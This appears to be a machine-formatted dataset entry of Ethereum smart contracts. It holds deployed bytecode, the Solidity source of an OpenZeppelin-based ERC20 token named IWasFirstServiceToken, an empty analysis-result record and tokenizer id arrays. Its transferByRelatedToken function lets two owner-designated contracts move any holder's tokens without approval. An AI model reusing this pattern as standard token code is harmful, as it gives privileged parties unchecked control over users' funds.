0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806395d89b411161008c578063b5931f7c11610066578063b5931f7c1461044b578063d05c78da14610497578063dd62ed3e146104e3578063e6cb90131461055b576100ea565b806395d89b4114610316578063a293d1e814610399578063a9059cbb146103e5576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c5780633eaaf86b146102a057806370a08231146102be576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610645565b604051808215151515815260200191505060405180910390f35b6101e0610737565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610782565b604051808215151515815260200191505060405180910390f35b610284610a12565b604051808260ff1660ff16815260200191505060405180910390f35b6102a8610a25565b6040518082815260200191505060405180910390f35b610300600480360360208110156102d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a2b565b6040518082815260200191505060405180910390f35b61031e610a74565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035e578082015181840152602081019050610343565b50505050905090810190601f16801561038b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103cf600480360360408110156103af57600080fd5b810190808035906020019092919080359060200190929190505050610b12565b6040518082815260200191505060405180910390f35b610431600480360360408110156103fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b2c565b604051808215151515815260200191505060405180910390f35b6104816004803603604081101561046157600080fd5b810190808035906020019092919080359060200190929190505050610cb5565b6040518082815260200191505060405180910390f35b6104cd600480360360408110156104ad57600080fd5b810190808035906020019092919080359060200190929190505050610cd5565b6040518082815260200191505060405180910390f35b610545600480360360408110156104f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d02565b6040518082815260200191505060405180910390f35b6105916004803603604081101561057157600080fd5b810190808035906020019092919080359060200190929190505050610d89565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561063d5780601f106106125761010080835404028352916020019161063d565b820191906000526020600020905b81548152906001019060200180831161062057829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006107cd600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610896600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095f600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0a5780601f10610adf57610100808354040283529160200191610b0a565b820191906000526020600020905b815481529060010190602001808311610aed57829003601f168201915b505050505081565b600082821115610b2157600080fd5b818303905092915050565b6000610b77600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c03600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211610cc357600080fd5b818381610ccc57fe5b04905092915050565b600081830290506000831480610cf3575081838281610cf057fe5b04145b610cfc57600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015610d9d57600080fd5b9291505056fea265627a7a72315820ac7749b6c716a1b119d293fb5161ca70bcd91d4e61ad33eeae4d085fc018c06964736f6c63430005110032
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 27814, 2581, 2050, 22025, 2575, 22025, 2581, 2549, 6305, 2581, 22407, 2278, 12740, 14142, 2278, 2629, 2546, 14142, 2683, 2094, 20958, 2063, 19961, 2620, 2581, 27421, 2581, 2575, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5709, 1011, 2340, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 3206, 9413, 2278, 11387, 18447, 2121, 12172, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 19204, 12384, 2121, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 5703, 1007, 1025, 3853, 21447, 1006, 4769, 19204, 12384, 2121, 1010, 4769, 5247, 2121, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 3588, 1007, 1025, 3853, 4651, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,681
0x9587bded99e2aa391552713297449833a761ffc1
pragma solidity 0.4.21; // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: contracts/IWasFirstServiceToken.sol contract IWasFirstServiceToken is StandardToken, Ownable { string public constant NAME = "IWasFirstServiceToken"; // solium-disable-line uppercase string public constant SYMBOL = "IWF"; // solium-disable-line uppercase uint8 public constant DECIMALS = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 10000000 * (10 ** uint256(DECIMALS)); address fungibleTokenAddress; address shareTokenAddress; /** * @dev Constructor that gives msg.sender all of existing tokens. */ function IWasFirstServiceToken() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } function getFungibleTokenAddress() public view returns (address) { return fungibleTokenAddress; } function setFungibleTokenAddress(address _address) onlyOwner() public { require(fungibleTokenAddress == address(0)); fungibleTokenAddress = _address; } function getShareTokenAddress() public view returns (address) { return shareTokenAddress; } function setShareTokenAddress(address _address) onlyOwner() public { require(shareTokenAddress == address(0)); shareTokenAddress = _address; } function transferByRelatedToken(address _from, address _to, uint256 _value) public returns (bool) { require(msg.sender == fungibleTokenAddress || msg.sender == shareTokenAddress); require(_to != address(0)); require(_value <= balances[_from]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } }
0x606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063095ea7b31461010c57806310680b841461016657806318160ddd146101bb5780631e1a4eef146101e457806323b872dd1461021d5780632e0f2625146102965780632ff2e9dc146102c557806366188463146102ee57806370a08231146103485780638da5cb5b146103955780639c9a2365146103ea578063a3f4df7e1461043f578063a7807b84146104cd578063a9059cbb14610546578063ab47d3e6146105a0578063d73dd623146105d9578063dd62ed3e14610633578063f2fde38b1461069f578063f76f8d78146106d8575b600080fd5b341561011757600080fd5b61014c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610766565b604051808215151515815260200191505060405180910390f35b341561017157600080fd5b610179610858565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101c657600080fd5b6101ce610882565b6040518082815260200191505060405180910390f35b34156101ef57600080fd5b61021b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061088c565b005b341561022857600080fd5b61027c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610989565b604051808215151515815260200191505060405180910390f35b34156102a157600080fd5b6102a9610d43565b604051808260ff1660ff16815260200191505060405180910390f35b34156102d057600080fd5b6102d8610d48565b6040518082815260200191505060405180910390f35b34156102f957600080fd5b61032e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d58565b604051808215151515815260200191505060405180910390f35b341561035357600080fd5b61037f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fe9565b6040518082815260200191505060405180910390f35b34156103a057600080fd5b6103a8611031565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103f557600080fd5b6103fd611057565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561044a57600080fd5b610452611081565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610492578082015181840152602081019050610477565b50505050905090810190601f1680156104bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104d857600080fd5b61052c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110ba565b604051808215151515815260200191505060405180910390f35b341561055157600080fd5b610586600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061138f565b604051808215151515815260200191505060405180910390f35b34156105ab57600080fd5b6105d7600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506115ae565b005b34156105e457600080fd5b610619600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506116ab565b604051808215151515815260200191505060405180910390f35b341561063e57600080fd5b610689600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118a7565b6040518082815260200191505060405180910390f35b34156106aa57600080fd5b6106d6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061192e565b005b34156106e357600080fd5b6106eb611a86565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561072b578082015181840152602081019050610710565b50505050905090810190601f1680156107585780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600154905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561094557600080fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156109c657600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a1357600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a9e57600080fd5b610aef826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abf90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b82826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c5382600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abf90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b601260ff16600a0a629896800281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e69576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610efd565b610e7c8382611abf90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040805190810160405280601581526020017f49576173466972737453657276696365546f6b656e000000000000000000000081525081565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806111655750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561117057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156111ac57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156111f957600080fd5b61124a826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abf90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112dd826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156113cc57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561141957600080fd5b61146a826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abf90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114fd826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561160a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561166757600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061173c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561198a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156119c657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6040805190810160405280600381526020017f495746000000000000000000000000000000000000000000000000000000000081525081565b6000828211151515611acd57fe5b818303905092915050565b60008183019050828110151515611aeb57fe5b809050929150505600a165627a7a72305820e23fcee0a37a42f503680ec08b39a8aa7f46fa17acfacee51237cf57a1fbf1250029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 27814, 2581, 2497, 5732, 2683, 2683, 2063, 2475, 11057, 23499, 16068, 25746, 2581, 17134, 24594, 2581, 22932, 2683, 2620, 22394, 2050, 2581, 2575, 2487, 4246, 2278, 2487, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1018, 1012, 2538, 1025, 1013, 1013, 5371, 1024, 22116, 1011, 5024, 3012, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 9413, 2278, 11387, 22083, 2594, 1012, 14017, 1013, 1008, 1008, 1008, 1030, 2516, 9413, 2278, 11387, 22083, 2594, 1008, 1030, 16475, 16325, 2544, 1997, 9413, 2278, 11387, 8278, 1008, 1030, 16475, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 3314, 1013, 20311, 1008, 1013, 3206, 9413, 2278, 11387, 22083, 2594, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 102 ]
